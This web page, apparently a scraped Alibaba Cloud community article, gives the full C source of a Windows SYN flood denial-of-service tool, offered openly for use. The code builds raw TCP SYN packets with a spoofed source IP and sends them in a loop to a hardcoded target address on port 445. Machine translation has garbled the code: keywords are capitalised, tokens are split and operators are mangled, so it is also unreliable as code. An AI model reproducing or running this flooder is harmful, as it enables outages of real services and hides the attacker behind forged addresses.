SYN Flood attack code)

Source: Internet
Author: User
Tags htons

This is an old code. It is put out to let yourself turn to luck! :) Luck in the past few days is really hard to do.

The Code is as follows:

//
// Write by gxter
// Date: 200501111
// Win2k + SP4 + vc6.0
//
// Syn. cpp

# Include "winsock2.h"
# Include "ws2tcpip. H"
# Include "stdio. H"
# Include "memory. H"
# Include "stdlib. H"
# Include "syn. H"

# Pragma comment (Lib, "ws2_32 ")
// Configure //--------------------------------------------------------------------------------------

# Define status_failed 0 xFFFF
# Define syn_dest_ip "192.168.0.119" // dest
# Define fake_ip "202.106.127.55" // SRC fake

Int src_port = 80;
Int dest_port = 445;

Ushort checksum (ushort * buffer, int size );

Int main (void)
{
Int datasize;
Int errorcode;
Int flag;

Int num = 0;

Int timeout = 2000, sendseq = 0;
Char sendbuf [128] = {0 };
 
Wsadata;
Socket sockraw = (socket) NULL;
Struct sockaddr_in destaddr;
Ip_header;
Tcp_header;

 

If (errorcode = wsastartup (makeword (2, 1), & wsadata ))! = 0)
{
Fprintf (stderr, "wsastartup failed: % d/N", errorcode );
Exitprocess (status_failed );
}

Sockraw = wsasocket (af_inet, sock_raw, ipproto_raw, null, 0, wsa_flag_overlapped );
If (sockraw = invalid_socket)
{
Fprintf (stderr, "wsasocket () failed: % d/N", wsagetlasterror ());
Exitprocess (status_failed );
}

Flag = true;

Errorcode = setsockopt (sockraw, ipproto_ip, ip_hdrincl, (char *) & flag, sizeof (INT ));
If (errorcode = socket_error)
Printf ("set ip_hdrincl error! /N ");

_ Try
{
While (Num & lt; 10240)
{
Num ++;
If (num = 10239)
{
Num = 0;
Printf (".");
}

Errorcode = setsockopt (sockraw, sol_socket, so_sndtimeo, (char *) & timeout, sizeof (timeout ));
If (errorcode = socket_error)
{
Fprintf (stderr, "failed to set send Timeout: % d/N", wsagetlasterror ());
_ Leave;
}

Memset (& destaddr, 0, sizeof (destaddr ));


Destaddr. sin_family = af_inet;
Destaddr. sin_addr.s_addr = inet_addr (syn_dest_ip );
Destaddr. sin_port = htons (u_short) 8080 );

// Fill in the IP Header
Ip_header.h_verlen = (4 <4 | sizeof (ip_header)/sizeof (unsigned long); // the version number of the four-digit IP address, with the length of the four-digit Header
Ip_header.tos = 0;
Ip_header.total_len = htons (sizeof (ip_header) + sizeof (tcp_header); // The total length of 16 bits (in bytes)
Ip_header.ident = 1; // 16 bits
Ip_header.frag_and_flags = 0; // 3-digit flag
Ip_header.ttl = 128; // 8-bit TTL
Ip_header.proto = ipproto_tcp; // 8-bit protocol (TCP, UDP ...)
Ip_header.checksum = 0; // 16-bit IP header checksum
Ip_header.sourceip = inet_addr (fake_ip );
Ip_header.destip = inet_addr (syn_dest_ip); // 32-bit destination IP address (attack address)

// Fill the TCP Header
Tcp_header.th_sport = htons (src_port); // source port number
Tcp_header.th_dport = htons (dest_port); // the destination port number.
Tcp_header.th_seq = htonl (sendseq + num); // SYN serial number
Tcp_header.th_ack = 0; // sets the ACK serial number to 0.
Tcp_header.th_lenres = (sizeof (tcp_header)/4 <4 | 0); // TCP length and Reserved Bit
Tcp_header.th_flag = 2; // SYN flag
Tcp_header.th_win = htons (16384 );
Tcp_header.th_urp = 0; // offset
Tcp_header.th_sum = 0; // checksum

// Fill in the TCP pseudo Header
Psd_header.saddr = ip_header.sourceip;
Psd_header.daddr = ip_header.destip;
Psd_header.mbz = 0;
Psd_header.ptcl = ipproto_tcp;
Psd_header.tcpl = htons (sizeof (tcp_header ));


Memcpy (sendbuf, & psd_header, sizeof (psd_header ));
Memcpy (sendbuf + sizeof (psd_header), & tcp_header, sizeof (tcp_header ));
Tcp_header.th_sum = checksum (ushort *) sendbuf, sizeof (psd_header) + sizeof (tcp_header ));


Memcpy (sendbuf, & ip_header, sizeof (ip_header ));
Memcpy (sendbuf + sizeof (ip_header), & tcp_header, sizeof (tcp_header ));
Memset (sendbuf + sizeof (ip_header) + sizeof (tcp_header), 0, 4 );
Ip_header.checksum = checksum (ushort *) sendbuf, (sizeof (ip_header) + sizeof (tcp_header )));

 
Memcpy (sendbuf, & ip_header, sizeof (ip_header ));
Memcpy (sendbuf + sizeof (ip_header), & tcp_header, sizeof (tcp_header ));

Datasize = sizeof (ip_header) + sizeof (tcp_header );
// Send TCP Packets
Errorcode = sendto (sockraw, sendbuf, datasize, 0, (struct sockaddr *) & destaddr, sizeof (destaddr ));
If (errorcode = socket_error)
Printf ("/nsend error: % d/N", getlasterror ());

} // End of while

} // End of try

_ Finally
{
If (sockraw! = Invalid_socket) closesocket (sockraw );
Wsacleanup ();
}

Return 0;
}

// -------------------------- The ------- end ------------

 

//
// Write by gxter
// Date: 200501111
// Win2k + SP4 + vc6.0
//
// Syn. h

Typedef struct _ iphdr

{
Unsigned char h_verlen; // 4-bit Header Length + 4-bit IP version number
Unsigned char TOS; // an 8-bit service type TOS
Unsigned short total_len; // The total length of 16 bits (in bytes)
Unsigned short ident; // 16-bit ID
Unsigned short frag_and_flags; // 3-Bit Flag
Unsigned char TTL; // 8-bit TTL
Unsigned char proto; // 8-bit Protocol Number (TCP, UDP, or other)
Unsigned short checksum; // 16-bit IP header checksum
Unsigned int sourceip; // 32-bit source IP address
Unsigned int destip; // 32-bit destination IP address

} Ip_header;

 

Typedef struct _ tcphdr // defines the TCP Header
{
Ushort th_sport; // 16-bit Source Port
Ushort th_dport; // 16-bit destination port
Unsigned int th_seq; // 32-bit serial number
Unsigned int th_ack; // 32-bit confirmation number
Unsigned char th_lenres; // 4-bit header length/6-bit reserved words
Unsigned char th_flag; // 6-digit flag
Ushort th_win; // 16-bit window size
Ushort th_sum; // 16-bit checksum
Ushort th_urp; // 16-bit emergency data offset
} Tcp_header;

 

Struct
{
Unsigned long saddr; // Source Address
Unsigned long daddr; // Destination Address
Char mbz; // null
Char ptcl; // protocol type
Unsigned short tcpl; // TCP Length

} Psd_header;

Ushort checksum (ushort * buffer, int size)
{

Unsigned long cksum = 0;

While (size> 1)
{
Cksum + = * buffer ++;
Size-= sizeof (ushort );
}

If (size)
Cksum + = * (uchar *) buffer;

Cksum = (cksum> 16) + (cksum & 0 xFFFF );
Cksum + = (cksum> 16 );

Return (ushort )(~ Cksum );
}

// ---------------- The ---- end -------------

Gxter. Good luck
200501111

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.